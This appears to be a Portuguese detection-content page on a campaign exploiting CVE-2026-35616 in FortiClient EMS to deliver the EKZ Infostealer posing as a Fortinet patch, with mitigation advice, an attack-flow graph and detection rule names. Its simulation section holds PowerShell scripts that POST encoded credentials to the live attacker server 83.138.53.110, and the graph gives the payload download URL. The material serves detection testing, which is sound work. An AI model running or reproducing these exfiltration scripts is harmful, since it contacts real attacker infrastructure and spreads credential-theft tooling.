FortiClient EMS Explorado via CVE-2026-35616 para Distribuir EKZ Infostealer Disfarçado como um Patch da Fortinet
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A Arctic Wolf identificou uma campanha que explorou CVE-2026-35616 no FortiClient EMS para distribuir um script PowerShell malicioso para endpoints gerenciados. Esse script recuperou e lançou uma carga útil de roubo de credenciais conhecida como EKZ Infostealer enquanto se fazia passar por um patch legítimo do Fortinet. O malware coletou senhas de navegadores, cookies e informações de preenchimento automático, depois exfiltrou os dados roubados via HTTP. Ao abusar dos canais de configuração confiáveis do EMS, os atacantes conseguiram executar a carga útil rapidamente em vários dispositivos gerenciados.
Investigação
Pesquisadores recriaram o exploit enviando requisições HTTP não autenticadas especialmente formatadas para as APIs do FortiClient EMS, resultando em mudanças de configuração que inseriram scripts maliciosos. Os traços de execução mostraram fortitray.exe or ipsec.exe gerando cmd.exe, que por sua vez lançou um comando PowerShell codificado em Base64 que baixou p.exe de um endereço IP malicioso. A carga útil escreveu um arquivo log.txt em ProgramData, enviou os dados capturados de volta para o mesmo servidor e então deletou-se.
Mitigação
As organizações devem atualizar o FortiClient EMS para uma versão que corrija CVE-2026-35616 e restringir o acesso à API a endereços IP de origem aprovados. Os defensores também devem revisar os logs do EMS para erros relacionados ao certificado e mudanças inesperadas nos Perfis de Acesso Remoto. O tráfego HTTP de saída dos endpoints para endereços IP desconhecidos deve ser bloqueado, e a execução de scripts nos fluxos de trabalho do perfil de VPN deve ser limitada por meio de controles de menor privilégio.
Resposta
Se esta atividade for detectada, isole imediatamente os hosts afetados, revogue quaisquer contas EMS não autorizadas que possam ter sido criadas e remova arquivos de script maliciosos do diretório de logs do FortiClient. Os investigadores devem preservar o log.txt artefato, calcular hashes para os binários maliciosos e buscar por indicadores correspondentes em todo o ambiente. Credenciais de navegador expostas devem ser redefinidas, e as equipes devem monitorar atividades de autenticação suspeitas que possam seguir ao roubo.
"graph TB %% Class definitions classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Nodes action_initial_access["<b>Ação</b> – <b>T1190 Explorar Aplicação Exposta ao Público</b><br/>CVEu20112026u201135616 no FortiClient EMS API"] class action_initial_access action process_api_requests["<b>Processo</b> – Requisições de API não autenticadas processadas como ações de admin privilegiado"] class process_api_requests process action_cmd_launch["<b>Ação</b> – <b>T1059.003 Shell de Comando do Windows</b><br/>fortitray.exe & ipsec.exe lançam cmd.exe"] class action_cmd_launch action action_powershell["<b>Ação</b> – <b>T1059.001 PowerShell</b><br/>Execução de script PowerShell codificado em Base64"] class action_powershell action technique_obfuscation["<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b><br/>Carga útil entregue como base64"] class technique_obfuscation technique technique_decode["<b>Técnica</b> – <b>T1140 Desofuscação/Decodificação de Arquivos ou Informações</b><br/>Decodificação de base64 em tempo de execução"] class technique_decode technique action_download["<b>Ação</b> – <b>T1570 Transferência de Ferramenta Lateral</b><br/>Baixar FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["<b>Arquivo</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Hospedado em http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>Ação</b> – <b>T1203 Exploração para Execução do Cliente</b><br/>Execução silenciosa do binário baixado"] class action_execute action malware_infostealer["<b>Malware</b> – EKZ Infostealer<br/>Coleta credenciais, cookies, dados de preenchimento automático"] class malware_infostealer malware technique_cred_access["<b>Técnica</b> – <b>T1555.003 Credenciais de Navegadores Web</b>"] class technique_cred_access technique file_log["<b>Arquivo</b> – C:ProgramDatalog.txt<br/>Armazenamento dos dados coletados"] class file_log file action_exfil["<b>Ação</b> – <b>T1567 Exfiltração através de Serviço Web</b><br/>HTTP POST para o servidor atacante"] class action_exfil action action_cleanup["<b>Ação</b> – <b>T1564 Ocultar Artefatos</b><br/>Deletar arquivos maliciosos e log"] class action_cleanup action %% Connections action_initial_access –>|leva_a| process_api_requests process_api_requests –>|dispara| action_cmd_launch action_cmd_launch –>|executa| action_powershell action_powershell –>|usa| technique_obfuscation technique_obfuscation –>|requer| technique_decode action_powershell –>|baixa| action_download action_download –>|recupera| file_payload file_payload –>|executado_por| action_execute action_execute –>|executa| malware_infostealer malware_infostealer –>|desempenha| technique_cred_access malware_infostealer –>|grava| file_log file_log –>|enviado_por| action_exfil action_exfil –>|seguido_por| action_cleanup action_cleanup –>|deleta| file_payload action_cleanup –>|deleta| file_log "
Fluxo de Ataque
Detecções
Nome Curto de Arquivo (via cmdline)
Ver
Uso Suspeito de CURL (via cmdline)
Ver
Chamando Métodos .NET Suspeitos através do Powershell (via powershell)
Ver
Possível Atividade de Transferência de Bits (via powershell)
Ver
IOCs (HashSha256) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
IOCs (HashSha1) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
IOCs (HashMd5) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
IOCs (SourceIP) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
IOCs (DestinationIP) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
Exfiltração de Credenciais pelo EKZ Infostealer via HTTP POST [Conexão de Rede do Windows]
Ver
FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer [Criação de Processo no Windows]
Ver
Execução de PowerShell via FortiClient para Entregar EKZ Infostealer [Powershell no Windows]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Base deve ter sido aprovado.
Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos imprecisos.
-
Narrativa & Comandos de Ataque:
O atacante já colheu credenciais do registro do Windows (família T1216) usando o EKZ Infostealer. Para exfiltrar o blob coletado, o malware lança um one-liner do PowerShell que faz um POST das credenciais codificadas em Base64 para o servidor de comando e controle em83.138.53.110. O uso de PowerShell (Invoke-WebRequest) é uma técnica clássica de living-off-the-land que evade detecções baseadas em binários enquanto ainda produz telemetria de rede observável pelo firewall.powershell # Payload de credencial simulado (Base64 de "user:pass") $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
Script de Teste de Regressão: Este script PowerShell autônomo reproduz a etapa de exfiltração e pode ser executado novamente para futuras regressões.
powershell <# .SYNOPSIS Simulação de exfiltração de credenciais pelo EKZ Infostealer (HTTP POST). .DESCRIPTION Gera um blob de credencial falso, o codifica e faz POST para o IP malicioso conhecido usado na regra de detecção. .NOTES Requer HTTP de saída permitido para 83.138.53.110 na porta 80. #> # ---- Preparação ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- Execução ---- try { Write-Host "[*] Enviando blob de credencial para $target ..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] Status HTTP:" $resp.StatusCode } catch { Write-Error "[-] POST falhou: $_" } # ---- Fim do script ---- -
Comandos de Limpeza: Nenhum artefato persistente é criado no disco, mas para ser completo, fechamos qualquer sessão de solicitação web pendente e limpamos a variável PowerShell.
powershell # Limpar variáveis e fechar quaisquer sessões web abertas Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] Limpeza completa."